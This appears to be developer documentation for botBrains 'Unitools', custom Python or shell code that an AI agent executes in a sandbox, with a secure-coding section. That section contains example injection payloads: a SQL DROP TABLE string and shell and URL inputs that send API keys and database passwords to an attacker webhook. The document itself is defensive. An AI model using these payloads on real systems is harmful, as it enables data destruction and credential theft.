Unitools let you write custom code that your AI agent can execute during conversations. Query databases, call APIs, process data, or perform any custom logic-all within a secure, isolated environment.
How it works
When you create a Unitool, you define:
- Input fields
Parameters the AI agent collects from the conversation
- Code
Python or Shell script that processes the inputs
- Secrets
Environment variables for credentials (API keys, database URLs)
During a conversation, when the AI agent determines your Unitool is relevant, it:
- Extracts the required field values from the conversation context
- Executes your code in an isolated sandbox
- Returns the result to continue the conversation
Runtimes
def handle(fields):
order_id = fields.get("order_id")
# Your logic here
result = lookup_order(order_id)
# Return JSON-serializable data
return {"status": result.status, "tracking": result.tracking_url}
Python scripts define a handle(fields) function that receives input values and returns a result. Use print() for debugging-output appears in the Logs tab.
Shell scripts receive inputs via the field command. Write your result to $OUTPUT. The complete input JSON is available in $INPUT.
Pre-installed Python packages
| Category | Packages |
|---|
| Web | requests, httpx, beautifulsoup4, lxml, pydantic |
| Data | pandas, numpy, scipy, statsmodels, python-dateutil |
| Visualization | matplotlib, seaborn |
| Databases | sqlalchemy, psycopg2-binary, pymysql, redis, mongoengine |
| Formats | protobuf, msgpack, pyyaml, marshmallow |
| Cloud | boto3, openai |
| Security | cryptography |
You can install additional Python packages using uv pip install, but this increases runtime latency since packages are installed on every execution.
Execution environment
Your code runs in an isolated Linux VM. Each execution gets a fresh environment—installed packages don’t persist between runs.
Machine specifications are subject to change as we optimize the platform.
Limitation: File uploads are not yet supported. Documents uploaded by users in conversations cannot be passed to Unitools.
| Resource | Limit |
|---|
| CPU | 1 core |
| Memory | 6 GB RAM |
| Disk | 12 GB |
| Timeout | 30 seconds |
| Result size | 200 KB |
| Log size | 5 MB |
| Internet | Yes, outbound access |
Fields define the parameters your Unitool accepts. The AI agent automatically extracts these values from the conversation.
Field types
| Type | Description | Example |
|---|
| Text | Plain string | Names, IDs, queries |
| Number | Numeric value | Quantities, prices |
| Boolean | True/false | Flags, toggles |
| Email | Validated email format | user@example.com |
| URL | Validated web address | https://example.com |
| Date | Date value | 2024-01-15 |
| Date & Time | Date with time | 2024-01-15T14:30:00 |
| Enum | Fixed set of options | ”pending”, “shipped”, “delivered” |
| Lists | Arrays of values | Multiple IDs, tags |
Required vs optional
Mark fields as required when the Unitool cannot function without them. Optional fields have sensible defaults in your code:
def handle(fields):
# Required field - always present
user_email = fields["email"]
# Optional field - provide default
limit = fields.get("limit", 10)
Secrets
Store sensitive credentials as secrets rather than hardcoding them. Secrets are:
- Encrypted at rest
- Injected as environment variables at runtime
- Never exposed in logs or results
import os
def handle(fields):
api_key = os.environ["API_KEY"]
db_url = os.environ["DATABASE_URL"]
Never print() or return secret values they would appear in logs visible to users reviewing conversation history.
Security
“With great power comes great responsibility.”
Unitools give you the ability to execute arbitrary code that connects to your databases, APIs, and external services. Security is a shared responsibility between botBrains and you.
What botBrains ensures
We provide infrastructure-level isolation to protect you and other customers. Your code runs in a dedicated sandbox that cannot access other customers’ environments or data. Every execution starts with a fresh VM-no state, files, or processes persist between runs. The sandbox has no access to botBrains internal systems or cloud metadata endpoints; your code can only reach the public internet.
botBrains reserves the right to suspend Unitool access at any time without prior notice, particularly if abuse is suspected.
Your responsibilities
You are responsible for the security of the code you write. Common risks include:
| Risk | Description |
|---|
| Leaking secrets | Accidentally printing or returning credentials |
| Injection attacks | Allowing user input to execute unintended commands |
| Overloading external systems | Hammering APIs or databases without rate limiting |
| Exploiting your own systems | Insecure code could let attackers pivot through your Unitool |
Writing secure code
The isolated sandbox protects botBrains and other customers—but injection vulnerabilities in your code put your own systems at risk. Attackers could steal your credentials, exfiltrate data from your databases, or escalate privileges on your external systems.
Secret leaks. Never log or return sensitive values:
import os
def handle(fields):
api_key = os.environ["API_KEY"]
# Bad - secret ends up in logs
print(f"Using key: {api_key}")
# Bad - secret ends up in result
return {"key": api_key, "data": ...}
# Good - only return non-sensitive data
return {"data": ...}
SQL injection. When user input is interpolated directly into SQL queries, attackers can execute arbitrary database commands. A malicious order_id like '; DROP TABLE orders; -- could delete your data.
from sqlalchemy import text
# Safe - parameterized query
result = conn.execute(
text("SELECT * FROM orders WHERE id = :id"),
{"id": fields["order_id"]}
)
# Unsafe - never do this
result = conn.execute(f"SELECT * FROM orders WHERE id = '{fields['order_id']}'")
Prefer Python for database operations. Its parameterized queries are more robust and harder to misuse than shell alternatives.
Shell injection. When user input is passed to shell commands without proper escaping, attackers can execute arbitrary commands. A malicious input like "; curl -X POST -d "$API_KEY" https://webhook.site/attacker-id # could exfiltrate your secrets to an attacker-controlled server.
# Safe - use jq to handle JSON safely
message=$(field '.message')
jq -n --arg msg "$message" '{"text": $msg}' | curl -s -X POST -d @- "$WEBHOOK_URL"
# Unsafe - direct interpolation allows secret theft
curl -s -X POST -d "{\"text\": \"$message\"}" "$WEBHOOK_URL"
URL injection. When user input is placed directly in URLs, attackers can manipulate the request destination or parameters. A malicious input like x]"; curl -d "$DB_PASSWORD" https://webhook.site/attacker-id # could steal credentials.
# Safe - URL-encode user input
user_input=$(field '.query')
encoded=$(printf '%s' "$user_input" | jq -sRr @uri)
curl -s "https://api.example.com/search?q=$encoded"
# Unsafe - direct interpolation allows secret theft
curl -s "https://api.example.com/search?q=$user_input"
Prohibited activities
botBrains may suspend your access at any time. The following activities will get you suspended.
| Activity | Description |
|---|
| Load testing | Do not stress test, benchmark, or overload third-party services |
| Spam / bulk messaging | Do not send unsolicited emails, SMS, or other messages |
| Cryptomining | Do not use compute resources for mining cryptocurrency |
| Attacking systems | Do not probe, scan, or exploit vulnerabilities in external systems |
| Circumventing rate limits | Do not bypass rate limiting on third-party APIs |
| Hosting malware | Do not distribute or execute malicious code |
Templates & Use Cases
Starting from a draft is much easier than from a blank piece of paper.
Templates are drafts of common use cases that you can customize as needed.
You can also use AI-suggested Unitools to create and edit exisitng Unitools faster.
The AI does not have access to your secrets when editing unitools that have secrets defined.
Database lookup
Query your PostgreSQL, MySQL, MongoDB, or Redis databases:
from sqlalchemy import create_engine, text
import os
def handle(fields):
engine = create_engine(os.environ["DATABASE_URL"])
with engine.connect() as conn:
result = conn.execute(
text("SELECT * FROM orders WHERE id = :id"),
{"id": fields["order_id"]}
)
rows = [dict(row._mapping) for row in result]
return {"orders": rows, "count": len(rows)}
API integration
Call external APIs and return processed data:
import requests
import os
def handle(fields):
response = requests.get(
f"https://api.example.com/users/{fields['user_id']}",
headers={"Authorization": f"Bearer {os.environ['API_KEY']}"}
)
response.raise_for_status()
return response.json()
Webhook trigger
Send data to automation platforms like n8n or Zapier:
import requests
import os
def handle(fields):
response = requests.post(
os.environ["WEBHOOK_URL"],
json={"event": "order_created", "data": fields}
)
return {"triggered": response.ok}
Web scraping
Extract real-time data from websites:
import requests
from bs4 import BeautifulSoup
def handle(fields):
response = requests.get(fields["url"])
soup = BeautifulSoup(response.text, "html.parser")
# Extract specific elements
title = soup.select_one("h1").get_text(strip=True)
return {"title": title}
Best practices
-
Keep it focused
Each Unitool should do one thing well. Create separate Unitools for different operations rather than one complex script.
-
Handle errors gracefully
Return meaningful error messages the AI agent can relay to users:
def handle(fields):
if not fields.get("order_id"):
return {"error": "Order ID is required"}
order = lookup_order(fields["order_id"])
if not order:
return {"error": f"Order {fields['order_id']} not found"}
return {"order": order}
- Minimize latency
Users are waiting. Avoid installing packages at runtime, keep API calls efficient, and use connection pooling for databases.
- Limit output size
Results over 200 KB are truncated. Return only the data the AI agent needs, not entire database tables.